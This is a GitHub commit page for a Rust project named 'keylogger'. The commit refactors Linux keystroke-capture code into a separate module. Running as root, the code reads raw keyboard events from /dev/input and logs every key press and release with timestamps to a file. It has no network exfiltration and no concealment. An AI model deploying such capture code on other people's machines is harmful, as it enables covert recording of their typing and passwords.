Skip to content

Commit

Permalink
Refactor for other os
Browse files Browse the repository at this point in the history
  • Loading branch information
XX committed Feb 18, 2019
1 parent ed75cb3 commit aa896e0
Show file tree
Hide file tree
Showing 7 changed files with 242 additions and 192 deletions.
169 changes: 80 additions & 89 deletions Cargo.lock

Large diffs are not rendered by default.

5 changes: 3 additions & 2 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,14 +1,15 @@
[package]
name = "keylogger"
version = "0.1.0"
version = "0.2.0"
authors = [
"Gulshan Singh <[email protected]>",
"Alexander Mescheryakov <[email protected]>"
]
edition = "2018"

[dependencies]
getopts = "0.2"
libc = "0.2"
env_logger = "0.5"
env_logger = "0.6"
log = "0.4"
chrono = "0.4"
120 changes: 19 additions & 101 deletions src/main.rs
Original file line number Diff line number Diff line change
@@ -1,31 +1,26 @@
extern crate getopts;
extern crate env_logger;
extern crate libc;
extern crate chrono;
#[macro_use]
extern crate log;
mod system;

mod input;

use std::process::{exit, Command};
use std::process::exit;
use std::fs::{File, OpenOptions};
use std::io::{Read, Write};
use std::io::Write;
use std::path::Path;
use std::{env, mem};
use std::env;

use getopts::Options;
use chrono::{NaiveDateTime, DateTime, Datelike, Timelike, Local, Utc};
use input::{is_key_event, is_key_press, is_key_release, is_shift, get_key_text, InputEvent};
use chrono::{DateTime, Datelike, Timelike, Local};
use log::debug;
use system::InputDevice;

const VERSION: &'static str = env!("CARGO_PKG_VERSION");

#[derive(Debug)]
struct Config {
device_file: String,
log_file: Option<String>
pub struct Config {
pub device_file: Option<String>,
pub log_file: Option<String>
}

impl Config {
fn new(device_file: String, log_file: Option<String>) -> Self {
fn new(device_file: Option<String>, log_file: Option<String>) -> Self {
Config {
device_file,
log_file
Expand All @@ -34,8 +29,7 @@ impl Config {
}

fn main() {
root_check();

system::init();
env_logger::init();

let config = parse_args();
Expand All @@ -47,42 +41,14 @@ fn main() {
} else {
open_log_file(&log_name)
};
let mut device_file = File::open(&config.device_file)
.expect("Can't open device file");

// TODO: use the sizeof function (not available yet) instead of hard-coding 24.
let mut buf: [u8; 24] = unsafe { mem::zeroed() };

// We use a u8 here instead of a bool to handle the rare case when both shift keys are pressed
// and then one is released
let mut shift_pressed = 0;
let mut input = InputDevice::new(&config);
loop {
let num_bytes = device_file.read(&mut buf)
.expect("Can't read from device file");
if num_bytes != mem::size_of::<InputEvent>() {
panic!("Error while reading from device file");
}
let event: InputEvent = unsafe { mem::transmute(buf) };
if is_key_event(event.type_) {
let event_mark = if is_key_press(event.value) {
if is_shift(event.code) {
shift_pressed += 1;
}
"PR"
} else if is_key_release(event.value) {
if is_shift(event.code) {
shift_pressed -= 1;
}
"RE"
} else {
continue;
};

let datetime = convert_time(event.tv_sec, event.tv_usec);
if let Some((press, key, datetime)) = input.check_key_event() {
let time = datetime.hour() * 60 * 60 * 1000 + datetime.minute() * 60 * 1000 + datetime.second() * 1000 + datetime.nanosecond() / 1_000_000;
let text = format!(
"{:08} {} {}\n",
time, event_mark, get_key_text(event.code, shift_pressed)
time, press.as_mark(), key
);

if config.log_file.is_none() {
Expand Down Expand Up @@ -110,22 +76,10 @@ fn open_log_file<P: AsRef<Path>>(name: P) -> File {
.expect("Can't open log file")
}

fn root_check() {
let euid = unsafe { libc::geteuid() };
if euid != 0 {
panic!("Must run as root user");
}
}

fn log_name_from(datetime: &DateTime<Local>) -> String {
format!("{:04}-{:02}-{:02}.log", datetime.year(), datetime.month(), datetime.day())
}

fn convert_time(secs: isize, micros: isize) -> DateTime<Local> {
let naive_datetime = NaiveDateTime::from_timestamp(secs as i64, micros as u32 * 1000);
DateTime::<Utc>::from_utc(naive_datetime, Utc).with_timezone(&Local)
}

fn parse_args() -> Config {
fn print_usage(program: &str, opts: Options) {
let brief = format!("Usage: {} [options]", program);
Expand All @@ -137,7 +91,7 @@ fn parse_args() -> Config {
let mut opts = Options::new();
opts.optflag("h", "help", "prints this help message");
opts.optflag("v", "version", "prints the version");
opts.optopt("d", "device", "specify the device file", "DEVICE");
opts.optopt("d", "device", "specify the device file (for Linux systems only)", "DEVICE");
opts.optopt("f", "file", "specify the file to log to", "FILE");

let matches = opts.parse(&args[1..])
Expand All @@ -152,44 +106,8 @@ fn parse_args() -> Config {
exit(0);
}

let device_file = matches.opt_str("d").unwrap_or_else(|| get_default_device());
let device_file = matches.opt_str("d");
let log_file = matches.opt_str("f");

Config::new(device_file, log_file)
}

fn get_default_device() -> String {
let mut filenames = get_keyboard_device_filenames();
debug!("Detected devices: {:?}", filenames);

if filenames.len() == 1 {
filenames.swap_remove(0)
} else {
panic!("The following keyboard devices were detected: {:?}. Please select one using \
the `-d` flag", filenames);
}
}

// Detects and returns the name of the keyboard device file. This function uses
// the fact that all device information is shown in /proc/bus/input/devices and
// the keyboard device file should always have an EV of 120013
fn get_keyboard_device_filenames() -> Vec<String> {
let mut command_str = "grep -E 'Handlers|EV' /proc/bus/input/devices".to_string();
command_str.push_str("| grep -B1 120013");
command_str.push_str("| grep -Eo event[0-9]+");

let res = Command::new("sh")
.arg("-c")
.arg(command_str)
.output()
.expect("Can't get keyboard device filenames");
let res_str = std::str::from_utf8(&res.stdout).unwrap();

let mut filenames = Vec::new();
for file in res_str.trim().split('\n') {
let mut filename = "/dev/input/".to_string();
filename.push_str(file);
filenames.push(filename);
}
filenames
}
}
19 changes: 19 additions & 0 deletions src/system.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
pub mod linux;
pub mod windows;

pub use self::linux::*;

#[derive(Copy, Clone)]
pub enum PressEvent {
Press,
Release,
}

impl PressEvent {
pub fn as_mark(&self) -> &str {
match self {
PressEvent::Press => "PR",
PressEvent::Release => "RE",
}
}
}
120 changes: 120 additions & 0 deletions src/system/linux.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
mod input;

use std::process::Command;
use std::fs::File;
use std::io::Read;
use std::mem;

use libc;
use chrono::{NaiveDateTime, DateTime, Local, Utc};
use log::debug;

use crate::{Config, system::PressEvent};
use self::input::{is_key_event, is_key_press, is_key_release, is_shift, get_key_text, InputEvent};

pub fn init() {
root_check();
}

fn root_check() {
let euid = unsafe { libc::geteuid() };
if euid != 0 {
panic!("Must run as root user");
}
}

pub struct InputDevice {
device_file: File,
// TODO: use the sizeof function (not available yet) instead of hard-coding 24.
buf: Option<[u8; 24]>,
// We use a u8 here instead of a bool to handle the rare case when both shift keys are pressed
// and then one is released
shift_pressed: u8,
}

impl InputDevice {
pub fn new(config: &Config) -> Self {
let device_file = config.device_file.clone().unwrap_or_else(|| get_default_device());
Self {
device_file: File::open(&device_file)
.expect("Can't open device file"),
buf: Some(unsafe { mem::zeroed() }),
shift_pressed: 0,
}
}

pub fn check_key_event(&mut self) -> Option<(PressEvent, &str, DateTime<Local>)> {
let mut buf = self.buf.take().unwrap_or_else(|| unsafe { mem::zeroed() });
let num_bytes = self.device_file.read(&mut buf)
.expect("Can't read from device file");
if num_bytes != mem::size_of::<InputEvent>() {
panic!("Error while reading from device file");
}
let event: InputEvent = unsafe { mem::transmute(buf) };
let result = if is_key_event(event.type_) {
let press = if is_key_press(event.value) {
if is_shift(event.code) {
self.shift_pressed += 1;
}
Some(PressEvent::Press)
} else if is_key_release(event.value) {
if is_shift(event.code) {
self.shift_pressed -= 1;
}
Some(PressEvent::Release)
} else {
None
};

press.map(|press| {
let key = get_key_text(event.code, self.shift_pressed);
(press, key, convert_time(event.tv_sec, event.tv_usec))
})
} else {
None
};
self.buf.replace(buf);
result
}
}

fn convert_time(secs: isize, micros: isize) -> DateTime<Local> {
let naive_datetime = NaiveDateTime::from_timestamp(secs as i64, micros as u32 * 1000);
DateTime::<Utc>::from_utc(naive_datetime, Utc).with_timezone(&Local)
}

fn get_default_device() -> String {
let mut filenames = get_keyboard_device_filenames();
debug!("Detected devices: {:?}", filenames);

if filenames.len() == 1 {
filenames.swap_remove(0)
} else {
panic!("The following keyboard devices were detected: {:?}. Please select one using \
the `-d` flag", filenames);
}
}

// Detects and returns the name of the keyboard device file. This function uses
// the fact that all device information is shown in /proc/bus/input/devices and
// the keyboard device file should always have an EV of 120013
fn get_keyboard_device_filenames() -> Vec<String> {
let mut command_str = "grep -E 'Handlers|EV' /proc/bus/input/devices".to_string();
command_str.push_str("| grep -B1 120013");
command_str.push_str("| grep -Eo event[0-9]+");

let res = Command::new("sh")
.arg("-c")
.arg(command_str)
.output()
.expect("Can't get keyboard device filenames");
let res_str = std::str::from_utf8(&res.stdout).unwrap();

let mut filenames = Vec::new();
for file in res_str.trim().split('\n') {
let mut filename = "/dev/input/".to_string();
filename.push_str(file);
filenames.push(filename);
}
filenames
}
1 change: 1 addition & 0 deletions src/input.rs → src/system/linux/input.rs
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
// Constants, structs, and arrays derived from /linux/include/linux/input.h
use log::debug;

const MAX_KEYS: u16 = 112;

Expand Down
Empty file added src/system/windows.rs
Empty file.

0 comments on commit aa896e0

Please sign in to comment.